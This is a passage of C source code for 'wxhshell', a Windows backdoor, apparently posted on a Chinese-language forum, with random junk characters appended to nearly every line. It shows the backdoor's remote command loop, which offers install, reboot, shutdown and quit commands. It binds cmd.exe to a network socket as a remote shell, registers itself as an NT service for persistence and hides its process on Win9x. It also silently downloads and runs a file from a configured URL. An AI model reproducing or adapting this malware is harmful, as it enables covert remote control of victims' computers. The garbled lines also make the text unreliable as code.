  Ni%@bU $  
  // 帮助 AW E ab  
  case '?': { ?;H}5>^8P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "vT$?IoEV  
    break; ~A1!!rJX  
  } z{FFTb^B  
  // 安装 z [ 'G"yCi  
  case 'i': { IibYGF  
    if(Install()) Mi{ns $B%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,tcUJ}l  
    else u>G9r#~`k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c/ih%xR  
    break; ,p OGT71  
    } *nHuGla  
  // 卸载 N>,`TsUwW  
  case 'r': { fm`V2'Rm  
    if(Uninstall()) dgIH`<U$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cs ?WE9N  
    else <9piKtb|L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 096Yd=3h  
    break; K!.t}s.t  
    } i;U*Y *f  
  // 显示 wxhshell 所在路径 \D(3~y>  
  case 'p': { SOOJqC  
    char svExeFile[MAX_PATH]; $A-X3d;'\/  
    strcpy(svExeFile,"\n\r"); #{{p4/:  
      strcat(svExeFile,ExeFile); Q$:Q6 /5.  
        send(wsh,svExeFile,strlen(svExeFile),0); fK+ 5   
    break; >X eXd{$  
    } 80_w_i+  
  // 重启 \~z$'3H`  
  case 'b': { 6% ofS8 [  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZQ+DAX*MS  
    if(Boot(REBOOT)) Um 6}h@>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y.J>}[\&x  
    else { BWy-R6br  
    closesocket(wsh); Q}OloA(+  
    ExitThread(0); FZ ?eX`,  
    } m7g*zu2#  
    break; A8{ xZsH  
    } `G/g/>y  
  // 关机 & ]] l0B  
  case 'd': { _1qR1< V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ao$k[#px  
    if(Boot(SHUTDOWN)) D|*w6p("z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N+B!AK0.  
    else { "q+Z*   
    closesocket(wsh); 3CjixXaA$  
    ExitThread(0); $zp|()_  
    } H.4ISmXU  
    break; T+&fUhSy  
    } 2#R$-* ;#  
  // 获取shell R|M]mwa^w  
  case 's': { \ *[Ht!y  
    CmdShell(wsh); J ( d[05x0  
    closesocket(wsh); ; Z7!BU  
    ExitThread(0);  gmbRH5k  
    break; 6h)_{| L)  
  } K+!e1 '  
  // 退出 GHd1?$  
  case 'x': { P@ew' JL%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o cW~I3  
    CloseIt(wsh); D^6iQW+.P  
    break; LdG?kbJ&y  
    } sV,Yz3E<u$  
  // 离开 bRy(`  
  case 'q': { M.t,o\xl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lk,q~  
    closesocket(wsh); V<S6 a  
    WSACleanup(); 6[k<&;  
    exit(1); q9rm9#}[J#  
    break; $.4A?,d  
        } /\-}-"dm  
  } .Ji9j[[#D  
  } iSezrN  
)~=8Ssu  
  // 提示信息 1bQO:n):~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5["3[h  
} c86KDEF  
  } ?# FYF\P  
lr~ |=}^  
  return; M9R'ONYAa  
} /7#e  
~:7y!=8#  
// shell模块句柄 Gm:s;w-;v  
int CmdShell(SOCKET sock) .(q'7Q Z/  
{ 27ZqdHd  
STARTUPINFO si; -`XS2  
ZeroMemory(&si,sizeof(si)); dB6 ,pY(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pb?vi<ug+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hxMRmH[f:  
PROCESS_INFORMATION ProcessInfo; uM1$3<  
char cmdline[]="cmd"; Q&r. wV|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3W[?D8yi)  
  return 0; CdRJ@Lf  
} 07:V[@'  
KF+r25uy[+  
// 自身启动模式 OgIRI8L  
int StartFromService(void) kh.P)h'9  
{ i8e*9;4@  
typedef struct stajTN*J  
{ zO"De~[9  
  DWORD ExitStatus; P'tXG  
  DWORD PebBaseAddress; i;9X_?QF  
  DWORD AffinityMask; bI:W4y>I=  
  DWORD BasePriority; PF/K&&9}  
  ULONG UniqueProcessId; ]?1_.Wjtt  
  ULONG InheritedFromUniqueProcessId; L$_%T  
}   PROCESS_BASIC_INFORMATION; O$6&4p*F.  
hQj@D\}  
PROCNTQSIP NtQueryInformationProcess; E&kv4,  
SgxrU&::  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $L0sBW&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *z69ti/ t  
q( ~rk  
  HANDLE             hProcess; nX3?7"v  
  PROCESS_BASIC_INFORMATION pbi; Jg=!GU/::  
Ny7*MZ-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3A`]Rk   
  if(NULL == hInst ) return 0; /J-'[Mc'D[  
E} XmZxHV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Skci;4T(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vwu/33  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2 G_KTYJ  
[5L?#Y  
  if (!NtQueryInformationProcess) return 0; ~;CNWJtcf(  
uFSU|SDd.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *tj(,:!  
  if(!hProcess) return 0; nktGO  
.5a>!B.I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #fa,}aj  
C5V}L  
  CloseHandle(hProcess); .+(V</  
l,h`YIy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &,G2<2_b  
if(hProcess==NULL) return 0; EQlb:;j  
Vxap+<m  
HMODULE hMod; N8Rq7i3F?a  
char procName[255]; FtyT:=Kpc  
unsigned long cbNeeded; 5]I)qij q  
)  M0(vog  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G?$o+Y'F  
X,VI5$  
  CloseHandle(hProcess); G(wK(P0j  
ben-<3r  
if(strstr(procName,"services")) return 1; // 以服务启动 5@>hjXi"Y  
_f@,) n  
  return 0; // 注册表启动 hOk9y=  
} 36OQHv;&  
D%o(HS\E  
// 主模块 -&7? !<f  
int StartWxhshell(LPSTR lpCmdLine) kbb!2`F!%  
{ [ K/l;Zd  
  SOCKET wsl; &j:prc[W  
BOOL val=TRUE; =nCA=-Jv  
  int port=0; cy,6^d  
  struct sockaddr_in door; #3 E"Ame  
79>x/jZka  
  if(wscfg.ws_autoins) Install(); z{OL+-OY  
eGQ4aQhi  
port=atoi(lpCmdLine); 6w &<j&V  
1(Vv-bq$  
if(port<=0) port=wscfg.ws_port; ]'xci"qV`  
W'@G5e  
  WSADATA data; %!Eh9C*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ku m@cA  
&_Cc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _ -RqkRI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l=XZBe*[g'  
  door.sin_family = AF_INET; Y<W9LF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qc*p+N+$  
  door.sin_port = htons(port); ru`7iqcz  
Fu{VO~w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KB~[nZs7  
closesocket(wsl); vT{(7m!Ra  
return 1; 19GF%+L ,  
} m_Hg!Lg  
U3Gg:onuE  
  if(listen(wsl,2) == INVALID_SOCKET) { 2&S^\kf  
closesocket(wsl); E!}'cxb^  
return 1; [F*yh9%\  
} l,Q`;v5|  
  Wxhshell(wsl); am/}V%^  
  WSACleanup(); 4S 4MQ  
YkFLNCg4}  
return 0; Pn4.gabE  
QyTN  V  
} 4Wz1O$*  
>yn?@ve@  
// 以NT服务方式启动 ph b ;D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :1f,%Z$,q  
{ O2Y|<m  
DWORD   status = 0; AUF[hzA  
  DWORD   specificError = 0xfffffff; A ,0}bFK  
^[[@P(e>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &0T7Uv-`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FP{=b/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *fi`DiO  
  serviceStatus.dwWin32ExitCode     = 0; ?@x$ h  
  serviceStatus.dwServiceSpecificExitCode = 0; rJf{YUZe  
  serviceStatus.dwCheckPoint       = 0; >j]Gz-wC  
  serviceStatus.dwWaitHint       = 0; hH>a{7V   
4Kj 8 i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gF9GU5T:  
  if (hServiceStatusHandle==0) return; i88 5T '  
tAjT-CXg  
status = GetLastError(); ?7CdJgJp  
  if (status!=NO_ERROR) h{HpI 0q4  
{ jm&[8ApW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '#A_KHD  
    serviceStatus.dwCheckPoint       = 0; 2@_3V_  
    serviceStatus.dwWaitHint       = 0; a>#$&&oQ0  
    serviceStatus.dwWin32ExitCode     = status; Ro$*bN6p  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,%/F,O+#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uHf1b?W  
    return; +{6:]  
  } Qj /H$  
N>L)2WKFT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9gK1Gx:  
  serviceStatus.dwCheckPoint       = 0; 3:sc%IDP  
  serviceStatus.dwWaitHint       = 0; p `oB._ R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }3 ~*/30V  
} o|84yT!~  
`mZ1!I-T  
// 处理NT服务事件,比如:启动、停止 GdScYAC   
VOID WINAPI NTServiceHandler(DWORD fdwControl) (u8OTq@  
{ kSge4?&  
switch(fdwControl) "_dJ4<8  
{ g~|x^d^;|  
case SERVICE_CONTROL_STOP: @/01MBs;  
  serviceStatus.dwWin32ExitCode = 0; FbdC3G|oA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +=L+35M  
  serviceStatus.dwCheckPoint   = 0; <#Fex'4  
  serviceStatus.dwWaitHint     = 0; o+^e+ptc  
  { S._h->5f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Ff]}4  
  } b5|l8<\  
  return; Zia6m[^Q  
case SERVICE_CONTROL_PAUSE: Cx) N;x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y </i1qM  
  break; x)q$.u+  
case SERVICE_CONTROL_CONTINUE: oe9S$C;$'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w3>G3=b  
  break; /3"S_KE1@+  
case SERVICE_CONTROL_INTERROGATE: V z5<Gr  
  break; ]/R>nT  
}; _ -ec(w~/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u7p:6W  
} (hY^E(D  
FFN.9[Ly  
// 标准应用程序主函数 Df1eHa5-7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Oh}@c~7;  
{ cwUor}<|  
,b+Hy`t  
// 获取操作系统版本 =Y3d~~  
OsIsNt=GetOsVer(); d?CU+=A&|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 127@ TN"  
R,zp&L  
  // 从命令行安装 !\&4,l(  
  if(strpbrk(lpCmdLine,"iI")) Install(); F<6{$YI  
>R/^[([;]  
  // 下载执行文件 O_SM!!,  
if(wscfg.ws_downexe) { %#]/ ]B/4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ujly\ix`  
  WinExec(wscfg.ws_filenam,SW_HIDE); URTJA<r8D  
} Lr>4~1:`  
\g@jc OKU  
if(!OsIsNt) { dp1t]  
// 如果时win9x,隐藏进程并且设置为注册表启动 AkqGk5e ^  
HideProc(); tkix@Q!;\  
StartWxhshell(lpCmdLine); pq5bK0N Q  
} u-dF ~.x  
else 495(V(+5  
  if(StartFromService()) Qnp.Na[JV  
  // 以服务方式启动 0I.!  
  StartServiceCtrlDispatcher(DispatchTable); (b1rd  
else N<lf,zGw  
  // 普通方式启动 L\kT9wWK|  
  StartWxhshell(lpCmdLine); ZW8;?# _  
tbi(e49S  
return 0; 0h2MmI#  
}
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只看该作者 1 发表于: 2006-10-10
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